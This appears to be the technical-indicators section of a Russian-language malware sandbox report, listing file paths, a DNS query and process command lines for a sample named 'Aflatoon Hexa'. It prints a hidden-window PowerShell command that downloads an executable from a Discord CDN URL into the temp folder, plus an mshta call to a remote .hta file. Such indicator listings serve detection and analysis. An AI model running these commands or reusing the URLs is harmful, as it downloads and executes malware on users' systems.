Техническая информация
- https://cdn.discordapp.com/attachments/734106729628827759/738352626671943741/aflatoon_hexa.exe как %temp%\exploit.exe
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
- %TEMP%\exploit.exe
- %TEMP%\aceb.tmp\aflatoon hexa.bat
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
- DNS ASK cd#.##scordapp.com
- '%TEMP%\exploit.exe'
- '<SYSTEM32>\cmd.exe' /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/734106729628827759/738352626671943741/Aflatoon_Hexa.exe','%temp%\exp...
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\ACEB.tmp\Aflatoon Hexa.bat""
- '%WINDIR%\syswow64\mshta.exe' https://cdn.discordapp.com/attachments/659091403074306058/738349064202092585/aflatoon.hta